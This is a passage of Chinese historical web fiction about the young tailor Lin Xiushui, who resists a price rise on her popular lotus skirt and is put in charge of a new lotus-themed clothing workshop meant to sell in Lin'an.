“别卖命,怪吓人的,”林秀水叫她打住,“真不至于,你好好干就成。” 阿云干得很卖力,角角落落想擦得干干净净,一见人进门便笑,赶紧相迎,暗自比对着画像上的脸,对不上,没见过的,她一律都叫娘子。 林秀水见她有些机灵劲在身上,也觉得挺满意,可以留她在这里先做着。 进来是张顺娘跟陈桂花,陈桂花碰见就硬拉着人家道谢,她说的话是,“要不是你有这手艺,大家都来画像,我哪里能揽到生意。” 下一句便是,“你看看你画个发髻也画得这么好,不如给我画几张,我不叫你白画,你别要得太贵就成。” 她每到这时候嫌弃广惠这小子不中用啊,有便宜也没法占,不然还能用皂角抵几张画钱。 张顺娘则问:“你出笔墨和纸吗?” 天杀的,陈桂花忘了这茬子,她支吾两声,含糊过去,算了算了,不画了。 她又去柜子前,跟林秀水说:“秀姐儿,借了你的光,我近来生意好得很。” “怎么个好法?”林秀水问。 “我梳头赚一笔吧,这梳了头,发现人家头发生油,有的还长虱子,我拉人家到我那洗头去,这生意还能不好,我可一点不嫌弃,我巴不得大家头发越邋遢越好。” 陈桂花说完,其他人压根没法附和。 “别想太多,”林秀水简直服了她了。 陈桂花随意晃晃手,反正她赚了不少钱,“那都不重要,重要的是,我想在这给我老娘定身衣裳。” “你说说,有什么便宜又好的料子,不能比两贯多了,我那几个姐妹都回来,我今年不能输了她们去。” 陈桂花有啥说啥,“就是那种叫我不打肿脸也能充胖子的衣裳。” 老娘要过生,往年她个死抠的,手里又没钱,送一点猪肉,几个鸭蛋,一包糖块算了事,她大姐没少说她。 这今年有了钱,陈桂花都肯出两贯,整整两贯给她娘做身秋衣,她想,多么感天动地的母女情。 林秀水知道她没少赚,八月和十一月是私塾和书院收学生的月份,她都在给儿子挑书院了,准备花笔钱进个好书院。 不过倒不是望子成龙,而是想让吴大饼以后别拖她这个当娘的后腿。 其他的还是抠。 金裁缝都很清楚她这德行,说她不孝,她挺孝顺,说她孝顺,又有点违心。 林秀水说:“今日开门生意,我要去拿布,到时候给你带点便宜的。” “那感情好,”陈桂花“腼腆”地问,“便宜多少?” “一文钱,”林秀水回她。 陈桂花一脸错愕,“那还是别便宜了,” 林秀水逗她一下,出门到裁缝作里去,她最近格外爱走路。 从桑桥渡过好几条巷子,走到裁缝作,走得特别慢,一路走一路瞧,欣赏街上从她身边路过女子的穿着。 自从粉色短莲花瓣裙开始盛行后,林秀水的目光总会下意识往路人腰间瞟,看穿着这条合围裙的人从她身边路过,还会回过头再看一眼,心里泛起重重喜悦。 裁缝作则已经做好充足的准备,要将裙子卖到临安内城去。 但不是随便卖,卖莲花裙要先改名。 林秀水到裁缝作里时,顾娘子早已来了,点点旁边的椅子叫她坐下,她跟后面坐着的十几位娘子问好,才捋直绿罗裙坐好。 站着的姚娘子等她坐好,才开口道:“由林管事做出来的这条莲裙,在镇里卖得相当好,卖了半个多月,到今日也依旧能卖出去一百来条。” 林秀水面不改色,后面的人窃窃私语。 “期间苏木染料卖价上涨,素纱相较之前贵了三五百文,加之好几家裁缝铺和成衣铺都出了相同的合围裙,很难再卖得便宜,得贵上许多,”姚娘子直白地说。 桑青镇不算巨镇,得益于靠在内城边上,往来船只在此停靠,才显得繁荣。莲裙也能卖得不少,不过原染料、素纱价钱大幅上涨,在镇里维持三百文一条的价很艰难,眼下七八百文一条才有赚头。 可各地风俗不同,尤其想卖到临安城去,内城花簇簇,叫莲裙不买账,形制很新鲜,可裙子不够花俏。 林秀水抬眼,她问:“那叫什么名字?” “满池娇,”姚娘子回道,“不是有种背心叫作挑纱荷花满池娇,而满池娇的纹样又多为莲荷,叫这名字再合适不过。” 满池娇其实是池塘小景,纹样多以莲花、荷叶、水草、鸟禽为主,临安人还挺喜欢这种一耳朵听不出名堂来,要费劲琢磨的名字。 林秀水印象很深刻的,内城有一种市语,也便是行话,把一叫作忆多娇,二称为耳边风,三为散秋香,四’为‘思乡马’,‘五’为‘误佳期’,小为消黎花,大为朵朵云,简直无话可说。 更不用说衣裳,时下有半透明纱制的背心,从临安来的,按着季节来取名为春幡、灯球、竞渡,连铠甲也有名字为黑漆濒水山泉甲、明光细网甲。 林秀水对名字没意见,她手搭在下巴上,有点无奈,“这名字除了听不出是卖什么 的,其他都挺好的。” 叫莲裙多一目了然。 姚娘子赶忙道:“那还是不大相同的,卖莲裙是只卖莲裙,可卖满池娇的话,我们还要搭着印金荷萍花边的领抹,绣莲花纹的罗布荷包、彩绘荷萍鱼石鹭鸶花边的裙头等一道卖的,能卖上贯。” 一条裙子转大地方出口真费老鼻子劲。 还要抽纱绣多做莲荷样式的领抹,林秀水按着突突直跳的额头说:“行,但我想说几句。” 大家不说话,等她想说的那几句,林秀水语气平静地说:“怎么改,往哪处卖我无话可说,卖得多反正我钱是不会少的,相反会越来越多,这我很清楚。但有一点,在镇里莲裙就是莲裙,价钱不要往上涨得很厉害,做一条便宜又能百搭的裙子不容易,能够盛行起来,也是因为价钱是大家不用费力便可以买到的。” “我是借了她们的东风才有的今日,不能乘坐了东风,转头叫大家为一条裙子喝西北风去吧,那么如果这样,以后我也很难再想出别的新鲜花样。” 长久以往,她会被盛名拖累,往前的路不是步步生莲,她会忘记初心。 对她来说,价钱卖得越贵,她赚得越多,可那不叫赚钱,那叫敛财。 屋里渐渐沉默,姚管事张了张嘴,没有说话,毕竟按之前商讨的意思,在镇里肯定要涨价,裙子刺绣、织金、彩绘等花样全上去,弄得花哨一点,价钱势必要小涨到大涨的,不过是六百文,还是翻两番或是三番的价而已。 三百文钱一条的素面莲裙,唾手可得的价钱不会再存在。 而林秀水真的心累,如果每一次都重复相同的路子,前期便宜,盛行就开始涨价,问就是一路艰难,实则是吃相难看。明明早前她就说过,苏木染料上涨,那用茜草、枇杷叶、荔枝壳,素纱贵了,换成素罗、绡、绫,可大家觉得越贵越对得起这个价。 她就敢说出口,撂下话来,“我眼下的名气只值几百文一条,再多我担待不起。” “我们再商量商量,”顾娘子终于开口。 没有谈拢,林秀水起身离开,她说:“我要休息几日。” 顾娘子也站起来,“行,等我们商量好。” 林秀水是个裁缝,她又不是个商人,什么在商言商,放屁去吧,有没有得赚她心里难道不清楚吗? 就因为知道,有一次就会有第二次,有第二次就有第三次,每一次怀抱着热切的情感做出来的衣裳,欣喜于它的盛行,感动于大家的喜爱,再止步于无限上涨的金钱,林秀水步子踩得很重,嘴里却轻轻地呸了声。 她从裁缝作出来,懒得因为这件事争讨,来来回回地商议,有次林秀水都没忍住发火,真想甩开膀子,爬到桌子上站在上头跟大家理论。 林秀水倒也不算很气恼,大不了就是各退一步,只接受她退半步,裁缝作退一步半。 出了裁缝作的大门,漫无目的走在人群里,她的视线随着人群缓慢移动,走到街边的亭子里坐下。来来去去的人,穿粉裙子很多,粉得都不一样,且裙子长短不相同,从前没有这么多粉裙子的,她心里弥漫着股酸又淡淡回甘的味道。 秋天是很特别的季节,在街上能看见一年四季。 她在打量大家的穿着,路过的娘子紫色背心里面有藕荷色的衫子,敞开的衫子里再裹条白抹胸,下身穿黄绿裙子,腰间有合围裙,又包一条腹围。 林秀水又转到另一边,一男的穿件松松垮垮的无袖背心,赤着胳膊从她面前走过。 有穿短褐的人,衣裳布料用尺寸很省,袖子又短,这种短袖襦穿的人很多。 扑卖花朵的小贩穿得繁多,头戴簪花帽,身上东一块布,西一块布,吆喝扑卖茉莉、兰花、秋茶花、木樨花嘞。 林秀水买了一束秋茶花,坐在茶馆里发呆,暂时放下裁缝作的事情,思索应下来,还没有做的衣裳。 街上除了男子穿黑的,她没寻到几个女子穿黑的,再不济也穿褐衣的,挪步到画摊边瞧,也多是画青绿山水为主,那柄八十四骨伞上的水墨画,做成衣裳终究难了点。 林秀水又去了伞铺,卖伞的很喜欢凑在一块开铺面,在那种死胡同里,几间铺面对开着,两边屋檐底下吊着一把把撑开的油纸伞。 多是卖绿油伞的,她拿了把绿油伞,卖伞的娘子说:“开合试试,不好用还能换。” 林秀水则缓缓开伞,慢慢闭伞,发觉伞闭合的伞面,跟下裙的打褶很相似,伞骨用得少的伞,不大重,如同用细布打褶的百褶裙。 六十四骨的伞,伞挺沉手,她撑起来又合上,伞面收缩起来时,像十二幅布料打褶做的千褶裥,做出来会显得尤其厚重。 可伞上的水墨不是死板的褶子,给她一种如同水在流动、泼洒、挥舞的感觉,按伞面来做褶裙又不大合适。 另一把绿绸绢,有诗词的伞也是如此,做褶裙的话,林秀水觉得哪里都很奇怪。 她从伞铺离开,想要做出衣裳来的话,问题不在伞上,有些模模糊糊的影子,却没法抓住。 怎么才能在十几日到二十几日内,做出很惊艳的衣裳来呢?没有一丁点头绪。 她在街上闲逛了好久,思绪纷杂,到裁缝铺走了一趟,生意还可以,她又回到家里。 王月兰回来得早,在打绵线,她从丝行里买了点便宜的丝绵,准备打成绵线,花点钱叫人给织成绵绸,她再扯点绵兜,秋冬两季做几件厚袄子。 “回来了?”王月兰坐在院子里,两腿间垫着一块布,手里拿棍子,将丝绵捻成细细的丝绕在上头,指指院子里炉子上的香饮子,“喝点。” “做什么又要喝香饮子,”林秀水强撑着的脸色顿时垮塌下来。 又苦又难喝的东西,她一喝就想吐。 她喝了一口,紧皱眉头,吐出来。 王月兰坐那说:“苦不苦,难不难受?” 林秀水喝了好几口水说:“一半一半,又苦又难受。” “你知道这叫什么吗?”王月兰盯着她,“这叫吐苦水,不吐出来,你就一直憋着,憋死你算了。” 林秀水瞟到屋里几匹新布,猜到裁缝作里的人来过了,暗自叹气,哼一声,“就是谈不好呗,各有各的想法,像染布一样,我说就要粉的,实在不行莲红、桃粉的沾边都成,她们非要染成其他颜色的,我又不是睁眼瞎。” 她洋洋洒洒说了一大通,期间撸袖子还愤愤跺脚,终于觉得气顺了,苦水全吐出来了,王月兰安静地听完,她说:“你跟小荷多学着点。” 小荷根本不会憋着,难受就哇哇哭,一屁股坐地上蹬腿,高兴就咦咦哇哇,手舞足蹈,气愤要挥起拳头胡乱打几下、跺脚、又蹦又跳。 林秀水自问做不到啊,她难不成能跟小荷一样,在地上磕头又打滚吗? 王月兰站起来,轻轻拍拍她的背,林秀水将脑袋搁在她肩膀处,王月兰说:“舒坦了?吃腊八粥去吧。” “不年不节吃腊八粥?”林秀水摸不着头脑,她搞不清楚姨母的想法。 “你看不管是红小豆、白豆、花蚕豆、黄豆、花生、大米、核桃仁,都能熬成一锅,不想吃大米,那就换成糯米,不想吃黄豆,换绿豆。有人想吃甜的,先盛出来加点糖,想吃咸口的,那就放点盐,加些腌咸菜。想得开点,什么都能煮成一锅。” 王月兰给她盛了一碗,放在桌上说:“我是想告诉你,人就跟什么白豆、赤豆一样,管它三七二十八,混在一起煮,反正都是一口锅里的,先吃再说了呗。” 但是别看王月兰说得这么好,那是她憋了很久才想出来,她真的想说的是,“反正我找过老算命了,他说这都不是事,那句话叫什么来着,庸人才会扰,可你不一样,你是个聪明蛋,多滚滚会越滚越远的。” “这话说得多好,我当即就牢牢记住,分毫不差说给你听。” 嗯?总不能满镇飘桂花了,就说这种鬼话吧。 “好了,姨母,你再说下去,我真的要滚远了,”林秀水赶紧叫停,她还以为姨母转性了,不刺她一下了,结果在这里等着她呢。 什么难受,她眼下噎得慌。 结果傍晚张木生还一瘸一拐走过来,顶着张大黑脸,高高兴兴地说:“阿呀,姐,你快来瞧,我苦练手艺多日,缝得多像模像样。” 林秀水正闹心呢,一看他在两块布料上缝得这样子,更闹心了,歪歪扭扭,跟蜈蚣爬得一样。 “我缝得多好啊,简直跟你不相上下,”张木生毫不谦虚地说。 林秀水想翻白眼,“比起练你的手艺来,你更应该去瞧瞧你的眼神。” 怎么能一句话抬高自己,贬低她的啊。 “我眼神可好使了,”张木生没有半点自知之明,不过他也很虚心讨教,毕竟以后可是要当潜火兵里扔水袋最厉害的,扔水袋里缝补最厉害的。 好像不对,应该是缝补里最厉害的潜火兵,扔水袋里补得最好最有用的。 林秀水干脆让他坐下来,自己也拿把凳子坐到桌子边,指指两条布的中缝说:“补吧,我看着你缝。” “那你可瞧好吧,”张木生吭哧吭哧地准备大干一场。 陈九川终于忙歇过来,一迈进门槛,他看向坐在一块缝补的两人,脸上的笑僵住了。 哪里来的黑炭啊?不是,哪里来的啊? 他在记忆里挑挑捡捡,结果冒出林秀水她爹的脸,好大一张黑脸。 跟张木生一样黑,看一眼,从白天瞬间转变成黑夜。 “阿俏,这位是?”他问道,脸上极力保持半死不活的笑容。 林秀水随口道:“这是张木匠家的大儿子,他找我学缝补呢。” “对啊,瞧我这补得多好,”张木生傻乐着将两块布给陈九川瞧。 陈九川看着他,冒出两个字来,嘿嘿,除了牙是白的,其余的全是黑的,故此得名。 他站在桌子前面瞧,高大的身形挡住了光,张木生被他盯得发毛,摸着拐杖站起来说:“要不,我下次再来,下次再来。” 林秀水眨眨眼问:“怎么,你们两个有过节?” “有吗?”陈九川目送他远去,微笑。 他正儿八经地说:“大概是我怕黑吧。” 林秀水先是疑问,而后哈哈大笑,“你怕黑?夜里坟地都敢一个人走。” 陈九川笑不出来,他心里往外冒浆水,酸溜溜的。 这夜里,有人睡不着,林秀水则睡了个好觉,神清气爽,什么休息几日,天亮她就回到裁缝作据理力争,一个人站在那,面对二三十人,一顿输出。 “好了,”顾娘子一夜没睡,一群人吵了又吵,她彻底拍板,“以后镇里照原价卖,一切听林管事的。” “好的,”林秀水微笑,“那我们可以好好商量下,怎么往临安城卖裙子了。” 顾娘子按着额头,“你下回好好说。” 林秀水决定下回练练嗓门,拍着桌子跟她们吵,走是不可能走的,还要赚钱呢。 “第一,镇里的纱换成更便宜的素罗,颜色用枇杷叶和茜草,采买得多,价钱会便宜很多,哪怕三百文一条,除去种种,裁缝作照旧有得赚。” 林秀水说:“眼下染粉布多,有些颜色的布染得不均匀,可以全部裁出来,单卖每种不同颜色的裙片,让大家自己回去做。布料的损耗有了归处,即使卖得便宜,但相较而言,不会亏本。” 听得一群人默默无言,没有再争辩。 “第二,要真想往临安城里卖,卖得再贵一点,那就卖披肩,花瓣做得再长一点,从肩膀这里往下,一直到脚踝处。” 林秀水又拿出几张图样,上面是一件无袖背心,肩膀处缀着珍珠花样,领口为很细窄的桃粉条纹,从领口边缘往下绣着各式莲花,下摆也做了莲花瓣的处理。 里面的秋衫是白的,但袖口处做了不规则处理,是两三朵绽放的莲花,刺绣精巧,裁剪出莲花瓣的模样。 这种不限于纱,用厚一点的罗、缎、丝绸都能做出不一样的感觉,且秋冬穿起来,外面背心搭其他厚重的布料,会有别样的温柔。内搭最出彩的在于袖子,形制是对的,但这种莲花窄袖相较于其他领抹而言,会让人眼前一亮。 抹胸由几瓣粉白的莲花缝制在一起,突出莲花的形制。 她面对这么多人,语气坚定,“如果要做满池娇,那就把这个招牌做得彻底一点。” 她的话语里有不容忽视的野心。 当真有震惊到在场所有的裁缝。 “这件事大家听从林管事安排,其他活先停了,只做这个,”顾娘子忽然开口,不容置疑。 二十来位裁缝吃惊,眼下的意思是,她们这群裁缝都得听林秀水的。 之前林秀水先挑学徒也就罢了,眼下管着抽纱绣和裁缝作,名头和风头都有了,怎么就轮到她来管她们了? 要知道,虽然她们这群裁缝没有什么太出众的本事,不惊才绝艳,可一个个二三十岁,或是三四十岁,在裁缝作都待了十几二十年,同是当管事的,怎么反到被林秀水压一头。 管事和管事也是不相同的,之前林秀水当缝补处的管事,那是个小小小小管事,到后面兼任抽纱绣,也不过稍微抬了点。 眼下是连级跳,从小管事成了真正的大管事。 其后一日,顾娘子专门给林秀水成立了个裁缝处,来的这些裁缝里,涵盖了裁缝作的全部工种,有做领抹的,有做裙子的,有做长褙子、短褙子,上襦的,裤子的等等。 林秀水本人看似很淡定,其实内心惊讶之情难以表露,顾娘子说:“好好做,每卖出一件,你都能分三成。” 一天卖几百件,每一件林秀水得三成,这个钱数她算不来,估摸着不出几个月,她能买下一座带大院的屋子,带姨母和小荷住进更好的房子里。 她在一声声道喜里,碰上了人生两重喜事,升官又发财—— 作者有话说:久等了,本章红包[红心][红心] 80-85 第81章 第 81 章 一起观潮去 俗话说一石激起千层浪, 八月钱塘江的浪涌到顾家裁缝作里了。 裁缝作里东边独座的阁楼空了出来,要挂满池娇的牌匾,各处抽调来的裁缝娘子陆陆续续收拾东西, 一时间三五成群,都在议论此事。 “且看看吧,”有娘子从外面看了热闹回来, 嗤笑一声,“这桃杏、荷花、梅花,可是并在一块做成花冠的,叫作一年景, 真怕是沾了荷花的边,不过一年好光景。” 另一位裁缝坐在那自顾自缝袖口,忽然笑道:“什么一年景, 早几十年前有一种鞋样,双色拼到一块处,称为合色鞋,这名字说得好听,不过大家都叫它错到底,当真是错到底了。” 至于说的到底是这满池娇,还是顾娘子的决策, 反正在场许多人都心知肚明。 这几人跟说哑谜似的, 其他裁缝直白多了。 “顾娘子是小林管事亲戚吧, 我在这五六年了, 从没有见哪个人几个月里一升再升的,我都五六年了,也不说给我动一动位置,”说话的人语气酸得很, 靠在布料边同其他人说闲话。 另一个裁布的人嘁了声说:“亲戚,你咋不往大了猜?” “什么往大了猜?” 那娘子说:“你咋不说顾娘子是林管事她娘呢。” “嘶,嘶,哎,保不准,”那说闲话的人一拍手,眼睛瞪大,边往外头瞟,捂着嘴巴小声说,“蚕花娘娘嘞,真是她亲娘吧,我可从没见过小林管事她娘过,天,怪不得呢。” 其余几人沉默,蠢成这样咋进来的啊。 晌午吃完饭,一群裁缝娘子边走边说,有人想不通,“顾娘子究竟怎么想的?我想了一夜都没想明白。” 另一个娘子赶紧接上,“从前弄缝补处,后面将抽纱绣又搬出来,我当时便想着,一个十五六的小丫头,能管得过来吗?如今要将那处阁楼都腾出来,各处抽调人手,做什么满池娇,要我说,顾娘子真是有些糊涂了。” “且这抽纱绣和缝补处,人倒是多,谁知道赚了多少,说不准没压根没赚,全是各处贴补的,就算赚了那也应当只顾着一处,哪有三头六臂的。” 很多裁缝明里暗里不满意,实在是动静闹得太大,从每一个工种里抽调人,成立新的满池娇裁缝处,前所未闻,跟从前挑学徒又或是招些外头来的杂工,那可不一样,这会儿子抽调的是各处的管事。 “少胡咧咧,我们林管事怎么没有三头六臂了,”小七妹气死了,从过道的小矮架上蹭地跨过去,大喊一声。 可把几个正说话的人吓得一激灵,互相瞅瞅,没吱声,这话咋听着不像好话呢。 小七妹气得脸红脖子粗,“我们抽纱绣赚死了!” “有多赚,说来听听?”有个娘子套她话,小七妹哼一声,扭头便走,呸!谁跟她们说,闷声发大财 懂不懂?! 缝补处是不大赚钱,除去每月给裁缝作交的钱,剩下赚的银钱基本用来发七个人的月钱,每个人从一个月一两贯,到两三贯银钱,足够吃喝温饱富足。 林秀水后面并没有再过多干涉,比如说让这些缝补婆子每个人能赚五六贯甚至到七八贯,压根不可能,月钱只会卡在三贯,不会往上升。 一旦月钱多了后,那么这份活计就会被别人想方设法地顶替,毕竟缝补简单,并不需要太多的手艺。 不过抽纱绣倒是没有这个顾虑,要高手艺,手稳眼神好,抽的纱越多,刺绣越高超,赚的钱越来越多。 哪怕是学徒,也从刚开始的一贯八涨到眼下的四贯二,每个月都有月补,诸如时鲜果子、鱼鲜猪蹄肉、香料、各色豆子等等,只是从不往外宣扬而已。 小七妹气呼呼的,回到抽纱绣后,见林秀水居然在,顿时憋不住情绪,强忍着没有急冲冲发泄出来,只是含含糊糊地说:“这些人说话难听得很,我气不过。” “你叫什么?”林秀水拿过李锦递来的抽纱手帕,歪过脑袋问道。 小七妹不明所以,难不成她改名了,犹豫着道:“难道不是叫小七妹?” 林秀水低头看手帕,“你多喊几声。” 虽说不知道林秀水的用意,不过她清清嗓子,乖乖照做,喊了好几遍:“小七妹,小七妹,小七妹、小七妹,” “消气没?”林秀水笑盈盈问她。 咋还带口音呢? 听到其他人的笑声,小七妹终于明白,她也按捺不住笑出了声。 “嘴巴长在别人身上,多管多气,”林秀水懒得管这种破事,拍拍身旁的椅子,“坐吧,你来了正好,我说一下。” “做满池娇的话,我们抽纱绣的话人不过去,小巧、陈花娘,李锦、王二芽,你们四个做挑纱荷花,一做领抹,二做裙头,图样已经在画了,到时候按上面的来。” “其他人先把手里的活抓紧做完,小李管事说有五六个娘子已经过来催好几遍了。” 林秀水面朝十几人说:“这个月是要辛苦许多,所以下晌的话,额外增添一份点心,大概就是杏仁膏、乳糖浇、豆儿糕、澄沙团子” “还有节礼和月补,正好碰上中秋,这节礼是一篓子藕、菱,一条鳜鱼,一只鸭子,一盒各色糕饼。这个月的月补会多些,米的话每个人是一斗早米,两升糯米,三斤赤豆、一罐盐豉、还有厚朴香薷(rú)汤,熟药局包好了,自己拿回去煮。” “后日发啊,叫家里空闲的人过来一起领,东西有些多的…” 她话没说完,被底下众人压制不住的惊喜和欢呼声打断。 小巧喊道:“我把我娘叫来,她看到肯定得老高兴了,每次都叫我一定要多干,本本分分的,生怕我丢了这份活计。” “我在这里多累都能做得下去,每个月就图这些东西,一家子也不用发愁温饱了,那可是一斗的早米,”后面因织巧会进来的李娘子也克制不住激动。她们家在此之前日子过得紧巴巴,到了抽纱绣后,每个月温饱不愁,光是月补就够她们不用为生计而发愁奔波,可以专心做活。 并且为了这些额外的补给,大家相反干活更卖力,抽纱绣能接更多的活,赚更多的钱,给的东西也越来越多,越来越好。 林秀水笑着说:“我们都好好做,下个月会有更好的东西。” 一个个立即兴致高昂,拿起针线来用功,原本对林秀水去满池娇的担忧和害怕,怕她不顺利,又怕她不会再管抽纱绣,如此一来,彻底安稳住了大家猜忌而慌乱的心,可以安心做活了。 而满池娇那边,大多是不服林秀水的人,抽纱绣里的人年纪都小,而且一开始在裁缝作里,就在林秀水手底下做活,对她很服气。 可满池娇里的都是做了十几年甚至二十年的,是各处的管事,经过的事比林秀水的岁数都大,有些人在来前,甚至豁出脸面跟顾娘子大吵了一架,不过到底舍不得工钱,带了满肚子的怨气来。 林秀水真的很不想看她们怒气冲天的面孔,听阴阳怪气的腔调,拿岁数来倚老卖老,不过至少还没到相看两厌的地步。 在安排活计和初步举措时,林秀水厚着脸皮找顾娘子,“我脸皮嫩,管不住大家,娘子你跟我一块去吧。” “你是皮嫩,脸皮可一点不嫩,”顾娘子靠在玫瑰圈椅上,没好气地开口,她微笑,“你上桌子骂她们啊,说她们是一群光涨年纪和心眼,不涨工钱的老人。” 林秀水啧啧两声,一听这话的语气,就知道顾娘子没少跟这群人吵,听说还跟顾二娘子骂了一通,后面是她老娘过来劝架的,好好的事情,弄得焦头烂额。 幸好林秀水来前做了准备,她拿出一罐和羹之梅,有烟熏的乌梅、盐腌的白梅、蜜渍青梅荷叶儿,殷勤递到顾娘子手边,“消消气,消消气。” 顾娘子爱吃梅子,她不语,拿过来打开罐子,捻了一个吃,林秀水又嬉皮笑脸,“等晚些我买了柿饼、圆眼、荔枝、栗子、熟枣,做百事大吉的盒子来送给娘子。” “这还要晚些?那我也晚些再去,”顾娘子抬眼看她。 林秀水赶紧拉拉钱袋子,“这不是囊中羞涩,想着早些赚了钱,再买点金华火腿、湖广糟鱼、青州蜜饯棠球来孝敬娘子你吗,要是赚得多,那黄羊脯、金虾干都能买的。 ” 顾娘子默默看她一眼,低笑了声,“少在这给我画大饼,我送你还差不多吧。” “那当然娘子你送我的话,自然是再好不过,我感激不尽。” 顾娘子被她逗得闷笑,挥挥手,“行了,我睡会儿,晚点过去。” 林秀水看她眼底青黑,掩了门,在屋外不走,她等顾娘子起来了再过去,得狐假虎威。 一借了势,林秀水大摇大摆进门,底下坐着的二十来号人,还想阴阳怪气说两句话的,见了后面的顾娘子,原本要放响屁的,变成了闷屁。 眼下的进展是,裁缝作在临安城的花市街旁花了七八十贯租了间大铺面,租期为三个月。内城人多,街道几乎没有几间空铺子,这地段算偏门的,要价就这般贵。更好的御街路段,金银交引铺以及盐钞铺往后的五花儿中心,或是售卖许多上好绫罗绸缎的芳润桥路,有钱也沾不上边。 买各种绸面、素罗、上好纱缎花了一百二十贯,各处船运打点、人手等,零零杂杂有七十来贯。还没有算上成立满池娇后,这二十几位的裁缝娘子工钱一个月后,都将从这支出,多的裁缝一个月为二十贯,织金刺绣的,少的裁缝一个月也要十贯,光工钱得有两三百贯了。 是以大家很揪心又烦恼的点在于,新成立的满池娇能否在之后,一个月赚四五百贯之多,发出大家一个月的工钱?并能够有钱采买布料?发月补跟节礼呢? 所以做织金刺绣的娘子立即发问,“不知道林大管事有什么其他的谋划呢?我们只做衣裳的话,定价是多少,每个人安排什么样的活计?” 另一位在裙样上做工相当出色的张三娘子,稍微温和地发问,“如果说在六七月里,我是不大发愁的,那么眼下已经到了八月,莲花都谢了,应季的景都过去了,还做这种莲裙的款式,能卖得出去吗?” “我们都很担心,时下人爱新奇花样,追的是一月一个新花样,八月桂花,九月菊花,十月芙蓉,十一月山茶花,十二月水仙,难不成我们要把自己困死在满池娇里面吗,”有娘子难免语气激烈,她站起来挥着袖子喊,“新荷的时候不上,眼下都残荷残叶了,我们做满池娇,谁秋冬两季穿这种轻薄的衣裳吗?根本毫无道理可言。” 一个个看在顾娘子的面子,稍微控制住自己的语气,抒发着自己的担忧和抨击这种压根不按时节走,将自己框死在一个池塘里的错到底行径。 屋里跟数百只蝉鸣同时响起来那般刺耳。 顾娘子发怒拍桌子,“再吵全给我滚出去!” 终于安静下来,林秀水的手从自己的蓝罗裙上移开,腿慢慢放了下来,本来都想爬到案几上喊一句,“闭嘴。” “各位娘子的担忧不无道理,”林秀水压着裙子坐下来,直视大家的眼神,“毕竟能往大了做,那么只做一个满池娇确实太亏了。” “可是,”林秀水加重声音,“我们做得精了吗?做得足够好了吗?这世上有千百种活计,哪怕只是一个很小的活,只要做得好,踏实地做,照旧可以有出名的时候。别人提起药铺的时候,会说出陈妈妈泥风炉药铺,保和大师乌梅药铺,提起漆器,会说温州漆器,提到书本刊刻,想的是临安里棚桥一带的棚本。” “那么提起裁缝作呢?会头一个想到顾家裁缝作吗?提起莲花,会想到满池娇吗?” “我们不是没本事做很多东西,”林秀水的声音柔和下来,“相反我们在座的各位,论起手艺来都不输其他人,只是我们要想赚更多的钱,就得有更多的名气,就得将一样事物做到精,做到大家提起来,总会想到我们。” 众人渐渐若有所思,林秀水又紧接着道:“至于是否过季,在我们所有秋冬料子纹样里,莲花纹样是最多的,哪怕我们不卖特殊形制,只卖这几种料子,都不会太亏本。” “更不用提,莲花我们可以做红莲、白莲、青莲,还可以做雪莲,挖掘荷叶、浮萍、蜻蜓、鹭鸶,鸳鸯等水禽,秋冬两季又如何,难不成不穿衣裳了?” “那按你说,要怎么做?”三十六岁的裁缝娘子率先问出口。 其余仍在沉思中的娘子都将视线投注过来,林秀水这会儿子是指望不上大家出主意的,所幸她有备而来。 “其一,满池娇只做牌匾和总体称呼,其余所有种类的上裳下裙,还有别的种种,另起名称。” “另起名字外,就得说到满池娇要做全的东西上,一为抹胸、上襦、褙子、裙子、披风、背心、裤子,二为饰物,莲花冠、春幡、荷包、裙头、裙带、环佩、领抹等,三为其他物件,荷花伞、荷花灯、象生荷花,这种用来放在铺面外头,屋檐底下吸引大家。” 听起来有点意思,有娘子便问:“衣裳样式呢?取什么名字?” “我们可不会。” 林秀水真不指望,她做主。 “我们之后会出不少粉青绿为主的衣裳,那么绿色上裳称作小荷尖,而我们的莲裙,不叫满池娇,改为一色裁,取自荷叶罗裙一色裁。” 顾娘子听到这,紧皱的眉头舒展开,略微往后面的椅背靠了靠。 “抹胸的话叫芰荷香,还有比较特殊的油帽和帷帽,基本以青绿为主,叫作亭亭青盖、雨滴圆荷。莲花冠为莲花净,至于伞的话,可以叫风荷举,褙子跟上襦,大家可以帮着一块想想?” 有了前面的抛砖引玉,且又说得有理有据,一听细细考虑过,许多人的态度缓和下来,终于肯好好一同商量。 从给褙子和上襦取名开始,到有娘子说:“既然要全跟荷莲相关的,临安城里最多的是寺庙,而莲花为佛家八宝之一,为□□、法螺、宝伞、白盖、莲花、宝瓶、金鱼、盘长。之前说的莲花冠,既然取名叫莲花净,取自看取莲花净,方知不染心,如此的话,我们可以在这两样上头多琢磨,还可以走一走寺庙的路子。 ” 顾娘子此时道:“说得不错,荷花还是八仙之一,重点在宝相莲花上,再想想如何做,确实可以去到寺庙处兜卖。” “仍有点普通,想到寺庙处兜卖的话,将这八宝全部做成签子,叫人家来抽,抽到莲花,那就是好运莲莲,”林秀水脑子转得很快。 大家看她的目光带上了些许不同,其中不免有欣赏和佩服。 “那么我也有一点想说的,其实要做满池娇的话,尤其是莲花的话,那么绕不开莲花童子纹的布料,”那上了岁数的娘子说,“我们又称为攀枝娃娃,这叫连生贵子,牡丹、花果、莲花、童子,纹样好,寓意也不错。” 林秀水不喜欢,她唔了声,果断拒绝,“这种料子抢手得很,市面又实在多,我们可以想点其他的,比如莲花金鱼,这叫连年有余,更适合在冬日里卖,我看娘子你颇有心得,这就交给你采买吧,你肯定能办得很好。” 这娘子初时不满,后面一听,又有些自得,“成,我可以办。” 从起早商量到晌午过后,大家畅所欲言,各抒己见,一步步商谈如何做衣,大家各自做什么,安排人手,一步步地商讨中。对于满池娇这个名称,也终于有了点真情实感,没有那么激烈地闹情绪,肯迈出这一步,先做做试试看。 各自散开,领到活计,明日起该做什么做什么。 林秀水累得够呛,摆平她们比一日做十件衣裳都要累,她猛灌了一大茶盏的水,听见庄管事跟顾娘子说:“其他倒是没问题,就是到临安船运的话,还缺人手。” “船运吗?”林秀水用帕子擦擦嘴角,走了几步问。 庄管事回头看她,“对啊,我们船运到临安有专门采买布料的船,可里面水路相当多且绕,不能让买布船变成运货船,要请人走临安花市那一条水路。” “我有人选,”林秀水听完后立即道,“是个我信得过的人,他一直走临安的船运,自称活地经。” “怎么,你给人家担保?”顾娘子打趣她。 林秀水点点头说:“担保担保。” “不过得等我问问人家。” 庄管事拉住她的手,上下晃了晃,“你可一定要问到啊。” “给多少钱先说好,钱少了事情不好办啊,”林秀水冲庄管事伸手。 庄管事拍她手心一下,“来回一贯六。” “高价了啊。” 